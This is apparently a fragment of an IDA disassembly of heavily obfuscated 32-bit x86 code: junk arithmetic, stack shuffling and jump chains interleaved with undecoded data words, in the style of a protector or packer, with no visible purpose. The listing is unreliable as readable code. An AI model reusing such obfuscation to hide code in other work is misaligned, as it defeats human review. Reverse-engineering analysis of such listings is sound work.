		dd 2A3CE9h
		db 0
; ---------------------------------------------------------------------------

loc_54A131:				; CODE XREF: sub_542C3C+10421j
		add	esi, edi
		mov	edi, [esp+24h+var_24]
		add	esp, 4
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_55096B
		push	dword ptr [edi+1Ch]
		xor	[esp+20h+var_20], 738B2809h
		jmp	loc_551F51
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 2D745138h, 0C681D601h, 2D745138h, 3364EE81h,	815A09D6h
		dd 4EEh, 24348700h, 3B16E9h, 24048B00h,	49AAE952h, 4AFF0000h
		dd 209E6838h, 0C890000h, 0BD555624h, 14227F4Ah,	3C283ABEh
		dd 5DEE3125h, 45EBEE81h, 0F68106E9h, 3E8578B5h,	815EF189h
		dd 925BF1E9h, 0E685678h, 5E2AC960h, 0C4BA524Eh,	0E962C134h
		dd 42EFh, 3C8BFE29h, 4C48324h, 31243433h, 34332434h, 24248B24h
		dd 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFFCA92h, 504268h
		dd 24148900h, 6FE99C50h, 5AFFFFE1h, 0DB3BF57h, 0E7C11369h
		dd 0E3C78104h, 1124886h, 25055FF8h, 0E9520921h,	3527h
		dd 24048B66h, 675A68h, 24048900h, 5653E089h, 0DB13E5BEh
		dd 0E9DEF746h, 0FFFFEFB5h, 8159CA01h, 0D63364C6h, 0FF18E909h
		dd 8B66FFFFh, 89562414h, 4C681E6h, 83000000h, 343302C6h
		dd 24343124h, 0E9243433h, 9EBh
; ---------------------------------------------------------------------------

loc_54A25C:				; CODE XREF: sub_542C3C+10582j
		or	eax, 767A2CACh
		xor	eax, 2E324707h
		add	eax, 0ABF7F84Ah
		add	ebp, eax
		pop	eax
		or	ebp, 2116142Ch
		jmp	loc_54B65C
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 5
		dd 4, 8704E883h, 895C2404h, 0E9B62414h,	0FEFFC680h, 0BDE680CEh
		dd 8481E9h, 48F5400h, 4BB5324h,	1000000h, 0E904245Ch, 0FFFFE0BFh
		dd 33240C31h, 0C31240Ch, 4EC8124h, 89000000h, 0E789243Ch
		dd 7A7E9h, 24048900h, 4B8h, 68E98100h, 1159E31h, 0B85053C1h
		dd 52A66329h, 0C158C389h, 0EB8104EBh, 0EF8C34CAh, 1C8BD901h
		dd 4C48324h, 0EDBA5258h, 0F7631D0Ah, 1EA83D2h, 0FFD05DE9h
		dd 2C0604FFh, 0B25266F8h, 79DEE9B5h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A30E:				; CODE XREF: sub_542C3C+4FCFj
		sub	esp, 4
		mov	[esp+2Ch+var_2C], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+2Ch+var_2C]
		xor	[esp+2Ch+var_2C], eax
		xor	eax, [esp+2Ch+var_2C]
		pop	esp
		jmp	loc_546D38
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48324h, 476EC281h,	0E2C12255h, 97E28103h, 81413127h
		dd 5C0D79CAh, 0AAEA8165h, 81241404h, 6BC78FEAh,	5AD509F6h
		dd 71EBF581h, 39E95AFDh, 2800004Fh, 0FF93E9D8h,	34FFFFFFh
		dd 0E9515824h, 6391h
; ---------------------------------------------------------------------------

loc_54A378:				; CODE XREF: sub_542C3C+104EEj
		sub	eax, 0FD682ADDh
		jmp	loc_546E7D
; ---------------------------------------------------------------------------

loc_54A382:				; CODE XREF: sub_542C3C+F316j
		sub	esp, 4
		mov	[esp+2Ch+var_2C], esi
		push	edi
		mov	edi, 0E4D02F5h
		push	490Dh
		mov	[esp+34h+var_34], ecx
		mov	ecx, 64B93D42h
		sub	edi, ecx
		mov	ecx, [esp+34h+var_34]
		jmp	loc_55089B
; ---------------------------------------------------------------------------
aLS_		db '‹<$é}_',0
		align 10h
		dd 240C8B66h, 507A68h, 24148900h, 10CF68h, 24248900h, 4240483h
		dd 4BB535Ah, 56000000h,	7A43BF57h, 0FE890F37h, 5EF2015Fh
		dd 0EA81DA01h, 0F377A43h, 81241C8Bh, 4C4h, 2B95100h, 0E9000000h
		dd 65BCh, 83243C8Bh, 0C78104C4h, 4, 2C781h, 3C870000h
		dd 8B665C24h, 0EC83240Ch, 24048904h, 4FD0E954h,	0EC810000h
		dd 4, 0BE243489h, 4, 0CF03CD05h, 70A9E966h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A436:				; CODE XREF: sub_542C3C+D850j
		push	[esp+34h+var_34]
		pop	eax
		jmp	loc_549B20
; ---------------------------------------------------------------------------

loc_54A43F:				; CODE XREF: sub_542C3C+5BD8j
		sub	ebx, 999100D6h
		jmp	loc_552EF7
; ---------------------------------------------------------------------------

loc_54A44A:				; CODE XREF: sub_542C3C+67B2j
		xchg	ebx, [esp+3Ch+var_3C]
		mov	esp, [esp+3Ch+var_3C]
		jmp	loc_54EB74
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 4EC8124h, 0E9000000h, 10BEh,	875FF801h, 248B2404h, 71DE6824h
		dd 29E90000h, 0FF00000Eh, 5E042474h, 8B24048Fh,	8E92424h
		db 8Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A487:				; CODE XREF: sub_542C3C+4F90j
		sub	edi, 21110FC9h
		sub	edi, ebx
		add	edi, 21110FC9h
		mov	ebx, [esp+30h+var_30]
		add	esp, 4
		and	eax, edi
		mov	edi, [esp+2Ch+var_2C]
		jmp	loc_54D8EC
; ---------------------------------------------------------------------------
		dd 8304C483h, 2C8904ECh, 0DCCAE924h, 34FFFFFFh,	62FE924h
		dd 0DD280000h, 6D89E9h,	0E9F10100h, 2BB3h, 0C331D831h
		dd 5053D0F7h, 59B3E9h, 0E9895D00h, 0EE1E95Dh, 0E9810000h
		dd 0B51651C7h, 159CF89h, 7984E9D7h, 3C890000h, 0E3895324h
		dd 4C381h, 0EB810000h, 4, 5C241C87h, 24048F54h,	4240481h
		dd 8B000000h, 0C483243Ch, 0ECE4E904h, 1489FFFFh, 88CA8824h
		dd 24148B13h, 4C481h, 5B590000h, 0FFC745E9h, 243C33FFh
		dd 0FFD8A2E9h, 70E94AFFh, 8100006Fh, 0B66F17EAh, 0C944E902h
		dd 0E2C0FFFFh, 6C28003h, 416FE9h, 0B1C28100h, 4245302Eh
		dd 0FFFFC281h, 0D2F7FFFFh, 7A1C281h, 0D70157DCh, 9E7815Ah
		dd 0E9362D77h, 506h
; ---------------------------------------------------------------------------

loc_54A57C:				; CODE XREF: sub_542C3C+A329j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+2Ch+var_2C]
		pop	esp
		push	ebx
		mov	ebx, esp
		jmp	loc_54E793
; ---------------------------------------------------------------------------
aRphT		db 'RPh',7,'T',0
		align 4
		dd 0FFD7AAE9h, 0E4E952FFh, 40FFFFE8h, 805D8F7h,	3539E356h
		dd 81387FBFh, 8158C101h, 706137C9h, 0E9D1F72Ah,	0FFFFCAA3h
		dd 0D0004FB2h, 32E95A66h, 0BF00003Ah, 4, 3E1AEB81h, 0C381070Fh
		dd 756C3E84h, 75E6E9h, 241C8B00h, 0E904C483h, 0FFFFDDDAh
		dd 24048B66h, 7183E955h, 14870000h, 0C5815C24h,	4, 2BB53h
		dd 0E9E90000h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A60B:				; CODE XREF: sub_542C3C+DC08j
		jnz	loc_5496A2
		push	1
		push	[esp+30h+var_30]
		mov	edx, [esp+34h+var_34]
		push	edx
		push	181h
		mov	[esp+3Ch+var_3C], esp
		jmp	loc_548409
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 107A26B3h, 0B951F729h, 107A26B3h, 6AA6E9h, 4B32BB00h
		dd 0BD552193h, 60F62983h, 6DE2E9h
		db 0
; ---------------------------------------------------------------------------

loc_54A64D:				; CODE XREF: sub_542C3C+DEF2j
		mov	ebx, 80h
		and	ecx, ebx
		push	[esp+3Ch+var_3C]
		pop	ebx
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	ecx
		push	4
		jmp	loc_5524D9
; ---------------------------------------------------------------------------

loc_54A66C:				; CODE XREF: sub_542C3C+6F0Dj
		add	esp, 4
		mov	ecx, [esp+28h+var_28]
		add	esp, 4
		push	3CD1h
		jmp	loc_550370
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0C2h
		dd 0EE489A3Ah, 15AD789h, 0D258E9F9h, 483FFFFh, 0E95B0424h
		dd 33EBh, 25B4BF57h, 55506A69h,	2F6F90BDh, 5DE88902h, 8302E8C1h
		dd 0E8C1FFE8h, 40D0F703h, 0B973CC05h, 32AA0550h, 1EE9009Fh
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A6CB:				; CODE XREF: sub_542C3C+A901j
		pop	esi
		and	eax, edi
		push	[esp+24h+var_24]
		jmp	loc_54E2AC
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 0F3576EB6h, 39E9FD01h, 89FFFFEFh, 0E2892414h, 43BEBF57h
		dd 0F7817460h, 746043BAh, 1A7EE9h, 4C48100h, 33000000h
		dd 4312404h, 24043324h,	1981E9h, 4C48100h, 0E9000000h
		dd 0FFFFD786h, 8924248Bh, 4832424h, 0D1E90424h,	53FFFFFCh
		dd 7C0BE9h, 0C8B6600h, 4EC8324h, 89241489h, 66B951E2h
		dd 0E9257C0Ah, 88C9h, 4C181h, 0EC810000h, 4, 0BE243489h
		dd 4, 14DCE9h, 7BC78100h, 8177320Ch, 0C81877F7h, 8BFB3140h
		dd 0C481243Ch, 4, 0FFE3F3E9h, 240489FFh, 0C4FE7EB4h, 0FFD1D3E9h
		dd 4AC680FFh, 805AF488h, 0E4C090E4h, 52CCFE04h,	8871B753h
		dd 0B5515BFAh, 0E9E5D048h, 23ECh, 5524048Bh, 85E95D54h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A7AF:				; CODE XREF: sub_542C3C+628Bj
		mov	eax, [esp+3Ch+var_3C]
		push	esi
		mov	esi, esp
		jmp	loc_54EA00
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48324h, 2C3FE9h, 24048100h, 4, 0E9240C8Bh,	0E39h
		dd 0F42CACh, 4EC81D8h, 89000000h, 79E92414h, 81000005h
		dd 6A4238F5h, 12C8E960h, 0B0500000h, 341F0473h,	0E9C3288Ah
		dd 7249h
; ---------------------------------------------------------------------------

loc_54A800:				; CODE XREF: sub_542C3C+E4EEj
		push	ebx
		mov	ebx, 6A835A6Fh
		push	edi
		mov	edi, 6B8D3504h
		xor	ebx, edi
		jmp	loc_55255E
; ---------------------------------------------------------------------------
		db 57h
		dd 0C781E789h, 4, 8704EF83h, 248B243Ch,	241C8924h, 0BE565B54h
		dd 4, 399FE9h, 31665F00h, 24048BC2h, 6604C483h,	2245401h
		dd 0FFF9F5E9h, 83F580FFh, 1AC280h, 0E4E9E9EAh, 0BF57FFFFh
		dd 148E29C5h, 3C8BFA31h, 4C48324h, 6F52BF57h, 0EF8172B3h
		dd 723B0BE7h, 0E902E7C1h, 86D1h
; ---------------------------------------------------------------------------

loc_54A878:				; CODE XREF: sub_542C3C+C1C0j
		push	[esp+48h+var_48]
		mov	eax, [esp+4Ch+var_4C]
		add	esp, 4
		push	3CB8h
		jmp	loc_54C220
; ---------------------------------------------------------------------------
		dw 0CE87h
		dd 81CE8749h, 870236C6h, 5EF10107h, 0E9240C87h,	561Fh
		dd 4C481h, 67E90000h
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A8AF:				; CODE XREF: sub_542C3C+CFEFj
		mov	[esp+4Ch+var_4C], ecx
		jmp	loc_5522A1
; ---------------------------------------------------------------------------
		db 53h
		dd 0FFDB02E9h, 5AD321FFh, 8105EBC1h, 290077EBh,	5BDA310Ah
		dd 875AD501h, 3FE9242Ch, 66FFFFD4h, 66695C68h, 66240C89h
		dd 66C8B60Fh, 8FE99C51h, 83FFFFC3h, 48F04C4h, 24248B24h
		dd 9C240CFFh, 7E2AE9h, 5AD00000h, 0FFF1A9E9h, 3C5C68FFh
		dd 4890000h, 3DDE924h, 0BF570000h, 4F593129h, 52100968h
		dd 0FD015D20h, 5DE9015Fh, 2C1835Fh, 31240C33h, 0C33240Ch
		dd 0F9F65C24h, 0CCB60F66h, 78B368h, 241C8900h, 0BE56E389h
		dd 714B4719h, 1C3DE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A94E:				; CODE XREF: sub_542C3C+4049j
		sub	dh, bh
		pop	ebx
		shr	dh, 4
		not	dh
		jmp	loc_54F997
; ---------------------------------------------------------------------------

loc_54A95B:				; CODE XREF: sub_542C3C+B67Aj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+30h+var_30]
		pop	esp
		mov	[esp+2Ch+var_2C], eax
		push	esi
		push	[esp+30h+var_2C]
		pop	esi
		pop	[esp+30h+var_30]
		xchg	eax, esi
		jmp	loc_54F531
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24148900h, 0FFE2E5E9h,	81D901FFh, 1C5C3BE9h, 2EC18144h
		dd 0FF139B4Bh, 1C8B2434h, 4C48124h, 81000000h, 4C4h, 4C18300h
		dd 2474FF51h, 1047E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A9BA:				; CODE XREF: sub_542C3C+BAD7j
		xor	edx, 3F6F6420h
		add	esi, edx
		pop	edx
		sub	esi, 4
		jmp	loc_5521C1
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 18EA1AB5h, 15E54FBAh, 8BF201E7h, 0C4812434h,	4, 230FEE81h
		dd 0D6017E56h, 230FC681h, 148B7E56h, 4C48324h, 0E9243487h
		dd 0FFFFE68Eh, 13A2C181h, 48B522Dh, 0D263E924h,	3B05FFFFh
		dd 29587270h, 3BBF57C8h, 29587270h, 1595FF8h, 0E9E958C2h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54AA27:				; CODE XREF: sub_542C3C+4101j
		mov	[esp+34h+var_34], edi
		jmp	loc_54EEF3
; ---------------------------------------------------------------------------
		db 88h
		dd 0FB5BE9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AA36:				; CODE XREF: sub_542C3C+8609j
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp+30h+var_30]
		pop	esp
		shr	ecx, 6
		push	1775h
		mov	[esp+30h+var_30], edi
		jmp	loc_54ED57
; ---------------------------------------------------------------------------
		db 80h,	0F5h, 9Bh
		dd 0D3B35366h, 2EE9D828h, 66FFFFCBh, 83240C8Bh,	48904ECh
		dd 0E9585424h, 7587h, 8904EC83h, 0FFB82404h, 521FC946h
		dd 0ED0E34BAh, 41E1E93Ch, 0F7810000h, 27BA0831h, 505FFA89h
		dd 0D35BD55h, 0E88927B6h, 58C2295Dh, 148BD701h,	4C48124h
		dd 50000000h, 4B8h, 0E9C70100h,	6ECh, 3513F381h, 814315F3h
		dd 42E98AC3h, 0E9DF8908h, 0FFFFDC1Ah, 2A00C781h, 0F9E9F838h
		dd 81000004h, 4C4h, 0BB535100h,	4, 219B68h, 241C8900h
		dd 0CA015B59h, 0FFD894E9h, 2434FFFFh, 8124048Bh, 4C4h
		dd 0E2895200h, 4C281h, 0EA810000h, 4, 5C241487h, 89241C89h
		dd 5C9DE9E3h, 68500000h, 4A9Fh,	55243C89h, 0F64DABBDh
		dd 0DDF74555h, 136AE9h,	67ED8000h, 2059EF88h, 0ABE95BFDh
		dd 2D00001Ch, 29634563h, 1118AD2Dh, 5D02959h, 591118ADh
		dd 63456305h, 83B8E929h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54AB56:				; CODE XREF: sub_542C3C+9348j
		push	60Eh
		mov	[esp+34h+var_34], edx
		push	esp
		pop	edx
		push	edi
		mov	edi, 0A57E8Fh
		and	edi, 49FE1DE9h
		shr	edi, 7
		and	edi, 5BD700A7h
		xor	edi, 7E802EA0h
		add	edi, 817ED183h
		add	edx, edi
		pop	edi
		sub	esp, 4
		mov	[esp+38h+var_38], ebx
		push	ebp
		mov	ebp, 194D365Fh
		jmp	loc_549239
; ---------------------------------------------------------------------------
		dd 8324148Bh, 1C8904ECh, 0E9E38924h, 84C2h, 585DE95Ah
		dd 4890000h, 27506824h,	2C890000h, 1185BD24h, 0E5B84E89h
		dd 31012B4Bh, 242C8BE8h, 2904C483h, 2434FFC3h, 582434FFh
		dd 4C481h, 0C4810000h, 4, 0EC81C329h, 4, 0B9240C89h, 4FA25A60h
		dd 0E959CB01h, 14A3h, 8103EDC1h, 748732F5h, 5DEB8950h
		dd 4245C29h, 0E9241C8Bh, 16A2h,	86CF8853h, 86D9F6CFh, 5BF988CFh
		dd 14F65166h, 80596624h, 9E961F1h, 0BE000078h, 122A118Ch
		dd 1188EE81h, 7401122Ah, 0E95E0424h, 1520h, 0C1E9F889h
		dd 5CFFFFC7h, 0FFC02DE9h, 0AF840FFFh, 68000079h, 2078h
		dd 5A00E954h, 0C8B0000h, 4C48324h, 17536850h, 8F540000h
		dd 64E92404h, 89000010h, 61FFE9C3h, 0E5890000h,	2142E9h
		db 0
; ---------------------------------------------------------------------------

loc_54AC81:				; CODE XREF: sub_542C3C+A38Dj
		xor	eax, 2A024AAFh
		mov	ebp, eax
		pop	eax
		not	ebp
		inc	ebp
		dec	ebp
		not	ebp
		sub	ebp, 5E9284Ah
		sub	esi, 14FC7FFEh
		sub	esi, 297E5076h
		jmp	loc_54F2F1
; ---------------------------------------------------------------------------

loc_54ACA6:				; CODE XREF: sub_542C3C+D42Cj
		mov	edi, [esp+38h+var_38]
		add	esp, 4
		jmp	loc_5488CC
; ---------------------------------------------------------------------------
aZS4		db '‡<$\é{4',0
		align 2
		dw 7C01h
		dd 3C8B0424h, 1838E924h, 0E9550000h, 6E82h
; ---------------------------------------------------------------------------

loc_54ACCC:				; CODE XREF: sub_542C3C+4422j
		add	esp, 4
		jmp	loc_5493CD
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 47D6h, 11F5815Dh, 0E94E971Ch, 0FFFFECE2h
		dd 57E9DF31h, 54000015h, 3A2BE9h, 28B4B100h, 45966CFh
		dd 53F800F0h, 0E3C006B3h, 1BF38005h, 0FFD964E9h, 0A3E95BFFh
		dd 5B000053h, 0B0505166h, 5E8C0DDh, 0BD24FA0Ch,	0D2349224h
		dd 0E9C38853h, 1AAAh
; ---------------------------------------------------------------------------

loc_54AD2C:				; CODE XREF: sub_542C3C+4E2Aj
		xor	ecx, esi
		push	[esp+30h+var_30]
		pop	esi
		jmp	loc_54F9AA
; ---------------------------------------------------------------------------
		db 1
		dd 0B6C181C1h, 8129AB01h, 452319E9h, 0BB535814h, 73887820h
		dd 7520EB81h, 0F381107Fh, 63090304h, 0E95BD901h, 0FFFFD01Ch
		dd 0BAE90EB6h, 66FFFFCFh, 0BF66575Fh, 0F7664394h, 0EF8166D7h
		dd 31665FC0h, 0D1665FFEh, 505166E6h, 0FEEB866h,	2096E9h
		db 0
; ---------------------------------------------------------------------------

loc_54AD89:				; CODE XREF: sub_542C3C+B234j
		neg	eax
		sub	eax, 843C840h
		add	esi, eax
		pop	eax
		pop	ebp
		sub	esi, 0FEF8427Ch
		and	ebx, esi
		push	[esp+28h+var_28]
		pop	esi
		add	esp, 4
		jmp	loc_5514C3
; ---------------------------------------------------------------------------

loc_54ADA8:				; CODE XREF: sub_542C3C+898Dj
		mov	eax, 36643B7Eh
		mov	esi, 4E8A76A7h
		jmp	loc_54FC62
; ---------------------------------------------------------------------------

loc_54ADB7:				; CODE XREF: sub_542C3C+F7C7j
		sub	ch, bl
		jmp	loc_549503
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 3CE9240Ch, 3000006Ah, 9B75BFDh, 2878EF80h, 2490E9EFh
		dd 1C890000h, 7B29BB24h, 7CE97C2Fh
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54ADE3:				; CODE XREF: sub_542C3C+FD8Cj
		pop	esp
		mov	[esp+20h+var_20], esi
		push	2005h
		mov	[esp+24h+var_24], ebp
		mov	ebp, 5C81750Eh
		mov	esi, ebp
		jmp	loc_55118F
; ---------------------------------------------------------------------------
		db 0F6h
		dd 80C5FED5h, 0EE3014F5h, 592434FFh, 4C481h, 0E9530000h
		dd 2DE2h
; ---------------------------------------------------------------------------

loc_54AE14:				; CODE XREF: sub_542C3C+733Dj
		mov	edi, esp
		add	edi, 4
		push	ebx
		jmp	loc_547FE8
; ---------------------------------------------------------------------------
		dw 5Ch
		dd 0E99C2404h, 0FFFFBE4Eh, 5585450h, 4,	405h, 24048700h
		dd 0FFF8305Ch, 835B2434h, 0B25204C4h, 22E4E91Ah, 2C310000h
		dd 242C3324h, 0BB0F665Ch, 0E99C2404h, 0FFFFBE1Ah, 0C8BE830h
		dd 4C48124h, 80000000h,	0EB8057EBh, 4EEB802Fh, 717E9h
		db 0
; ---------------------------------------------------------------------------

loc_54AE79:				; CODE XREF: sub_542C3C+951Fj
		jz	loc_54D971
		sub	esp, 4
		jmp	loc_54EE64
; ---------------------------------------------------------------------------
aXzS04		db 'X‡,$\é04',0
		dd 1E98300h, 0FB04C181h, 4BE908C4h, 8B00001Ah, 0C4832414h
		dd 4C18104h, 33000000h,	0C31240Ch, 240C3324h, 6856525Ch
		dd 190E5835h, 0D1E6815Eh, 87363736h, 0E9D7F7FEh, 6C71h
; ---------------------------------------------------------------------------

loc_54AECC:				; CODE XREF: sub_542C3C+B325j
		neg	ebx
		sub	ebx, 3CE612D4h
		add	ebx, 873B5DD8h
		add	edi, ebx
		pop	ebx
		jmp	loc_54883D
; ---------------------------------------------------------------------------
		dw 2BEh
		dd 1000000h, 2BAEE9F0h,	875B0000h, 895C2434h, 0F2E9240Ch
		dd 5DFFFFD2h, 3566E9h, 241CF600h, 0BD70E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AF0A:				; CODE XREF: sub_542C3C+5DACj
		pop	eax
		jmp	loc_54B716
; ---------------------------------------------------------------------------
		dd 3C32C581h, 0FD013610h, 3C32ED81h, 0D9E93610h, 80FFFFC9h
		dd 0F588FCEEh, 0D9E9525Ah
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AF2F:				; CODE XREF: sub_542C3C+4D89j
		sub	edx, 392CEE40h
		add	edx, 9A3CD53h
		add	ecx, 79472EBFh
		sub	ecx, edx
		sub	ecx, 79472EBFh
		pop	edx
		add	eax, 2EC75C1Ch
		add	eax, 4D4C606Fh
		add	eax, ecx
		jmp	loc_54F127
; ---------------------------------------------------------------------------
		db 83h
		dd 0FF5004C0h, 58042474h, 8B24048Fh, 0C8852424h, 0E5B2E99Ch
		dd 0C781FFFFh, 3B792C93h, 0EFD1D7F7h, 3EE3C781h, 0DFF7677Bh
		dd 0C2B2E955h, 0FCBDFFFFh, 89634B09h, 0CA7CE9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AF96:				; CODE XREF: sub_542C3C+F1F5j
		mov	[esp+28h+var_28], ecx
		push	edi
		mov	edi, 67BC300Ah
		inc	edi
		xor	edi, 147A3231h
		shl	edi, 8
		push	1677h
		mov	[esp+30h+var_30], edi
		not	[esp+30h+var_30]
		jmp	loc_54DF22
; ---------------------------------------------------------------------------
		db 0F7h, 0D0h, 35h
		dd 8321A86h, 0E958C721h, 92Ch, 95FFE89h, 0CD355EF0h, 0E971B36Fh
		dd 0FFFFFC9Bh
; ---------------------------------------------------------------------------

loc_54AFD8:				; CODE XREF: sub_542C3C+ABD6j
		add	ebx, edi
		jmp	loc_546E68
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 240C8704h, 6624248Bh, 0E99CC885h, 70Eh
		dd 63685155h, 5901BA78h, 7E4DF181h, 0CD896F76h,	60816859h
		dd 1C890000h, 0C4AE924h, 0C4810000h, 4,	8904EC83h, 71682404h
		dd 5400003Fh, 37FE9h, 11C38100h, 8302A621h, 348904ECh
		dd 75EBE24h, 0C6814142h, 0DC83FB52h, 33E9F329h,	81FFFFC0h
		dd 4C3h, 241C8700h, 0E924248Bh,	7B23h, 348B5456h, 25ECE924h
		dd 0C15D0000h, 6807EDh,	0E9000000h, 3C11h
; ---------------------------------------------------------------------------

loc_54B070:				; CODE XREF: sub_542C3C+A746j
		mov	[esp+30h+var_30], edx
		push	7D19h
		jmp	loc_54E08E
; ---------------------------------------------------------------------------
		db 68h,	8Ah, 3Fh
		dd 24890000h, 4BB5324h,	81000000h, 9D04246Ch, 17C2F61h
		dd 8104245Ch, 9D042444h, 5B7C2F61h, 4C3815Bh, 0E9000000h
		dd 76D9h, 5608E1C1h, 0D14E00BEh, 71EE8109h, 5046625Ch
		dd 0F67186B8h, 0E9D8F773h, 324Fh, 2E4DEA81h, 0F201112Bh
		dd 5379B850h, 0D8F71642h, 0FFDC02E9h, 0E955B2FFh, 0FFFFE382h
		dd 0D224248Bh, 0E99C243Ch, 0FFFFBB8Ah, 0C381E389h, 4, 4EB81h
		dd 0FF530000h, 5B042474h, 5C24048Fh, 68241C89h,	0DA0h
		dd 81242489h, 42404h, 38E90000h, 5E000056h, 4EB168h, 24048900h
		dd 0AC0B68B8h, 0F471E977h, 43E9FFFFh, 0E9FFFFBBh, 0FFFFBB3Eh
		dd 75298768h, 81435B55h, 455A67EBh, 8FC3814Eh, 8911F133h
		dd 814D5BDDh, 604652F5h, 94ED8178h, 8972A15Fh, 0BE95DEFh
		dd 38h,	0C1805AD1h, 148B668Bh, 2C48324h, 0C180C1FEh, 0AAE98010h
		dd 34FFC830h, 0C4835924h, 0B6526604h, 66F03008h, 6824148Bh
		dd 7AC2h, 0E9240C89h, 0FFFFD12Ch, 243C8758h, 555AE9h, 7F2D4800h
		dd 0E93D3053h, 7C27h, 0C8BCE01h, 4C48324h, 2474FF56h, 19E2E904h
		dd 0C2810000h, 4, 4EA81h, 9CE90000h, 8900000Fh,	722EE9C5h
		dd 0EA830000h, 24148704h, 2434895Ch, 0C681E689h, 4, 0FFCE45E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54B1F1:				; CODE XREF: sub_542C3C+F6E1j
		push	[esp+34h+var_34]
		mov	ebp, [esp+38h+var_38]
		add	esp, 4
		add	esp, 4
		jmp	loc_5501FB
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 0C7810000h, 4, 8B243C87h, 0EC812424h, 4, 0E9242C89h
		dd 0FFFFDB3Fh, 28C6852h, 565A03A4h, 66AF38BEh, 0FEEA81EDh
		dd 0E9003F5Fh, 5EEFh
; ---------------------------------------------------------------------------

loc_54B240:				; CODE XREF: sub_542C3C+C696j
		mov	esi, 4
		jmp	loc_54AA36
; ---------------------------------------------------------------------------
		dw 0C87h
aLSpa		db '$‹$$éa',0
		dd 45E9AD00h, 0FF000006h, 0BE563C77h, 19586BFCh, 4247429h
		dd 2434FF5Eh, 5A545258h, 7D99BB53h, 5743173Ah, 558D2BFh
		dd 5FFB2941h, 8268DBF7h, 89000049h, 0D0B82404h,	0D11993Ah
		dd 213A2546h, 0DB706125h, 0E9404825h, 78F5h, 0E9240C89h
		dd 0FFFFF787h, 814DDDF7h, 18E30AC5h, 4815500h, 306A4824h
		dd 0EF815F5Ch, 5C306A48h, 5061BE5Dh, 0B9511641h, 598E5E65h
		dd 2959CE29h, 65C681FEh, 0E9598E5Eh, 0FFFFE59Dh, 0C181D101h
		dd 4B8E25F2h, 1BCEC181h, 835A121Eh, 65E904C1h, 59FFFFC5h
		dd 660CC980h, 0E901B652h, 72D9h
; ---------------------------------------------------------------------------

loc_54B300:				; CODE XREF: sub_542C3C+43EDj
		shl	ecx, 2
		add	ecx, 0B3EDCDFEh
		add	esi, ecx
		pop	ecx
		and	eax, esi
		jmp	loc_550469
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 83000000h,	1C8704EBh, 24248B24h, 6C8E9h
		db 0
; ---------------------------------------------------------------------------

loc_54B329:				; CODE XREF: sub_542C3C+6444j
		pop	ebp
		and	eax, esi
		pop	esi
		or	edx, eax
		shl	edx, 1
		push	esi
		jmp	loc_547AE4
; ---------------------------------------------------------------------------
		db 0BFh
		dd 16795297h, 0F75FFD09h, 65ED81DDh, 0E992A0B1h, 548Bh
		dd 240C8B66h, 17CBE9h, 5AD33100h, 815BDF29h, 3B24A2EEh
		dd 81FE0119h, 3B24A2C6h, 53525F19h, 4BBh, 2758E900h, 15E0000h
		dd 81042444h, 0D904246Ch, 0E97A4B1Eh, 0A0Bh, 52240C8Bh
		dd 0FFD768E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54B391:				; CODE XREF: sub_542C3C+F92Aj
		not	edi
		xor	edi, 83B4D444h
		xor	ebx, edi
		jmp	loc_54C320
; ---------------------------------------------------------------------------

loc_54B3A0:				; CODE XREF: sub_542C3C+EF22j
		add	esp, 4
		jmp	loc_551ED6
; ---------------------------------------------------------------------------
		dd 8324048Fh, 58042404h, 4650BD55h, 0BE562214h,	6A568A1h
		dd 4DE9F501h, 0C1FFFFC8h, 0BF5708E9h, 4E5D56h, 15FF929h
		dd 2434FFC8h, 0F31FE959h, 0F65CFFFFh, 0B60F66E1h, 5E5456CCh
		dd 4C681h, 15680000h, 89000034h, 0E0892404h, 405h, 4BF5700h
		dd 29000000h, 30E95FF8h, 45FFFFEBh, 127EE9h, 4077FF00h
		dd 0FFB865E9h, 8B665CFFh, 6E68240Ch, 8900001Ah,	4CE9240Ch
		dd 31FFFFCAh, 3C33243Ch, 24248B24h, 24048B66h, 4EC81h
		dd 0C890000h, 6E3E6824h, 24890000h, 24048324h, 0BD555904h
		dd 4, 19EBC181h, 0E90151F2h, 401BE9h
		db 0
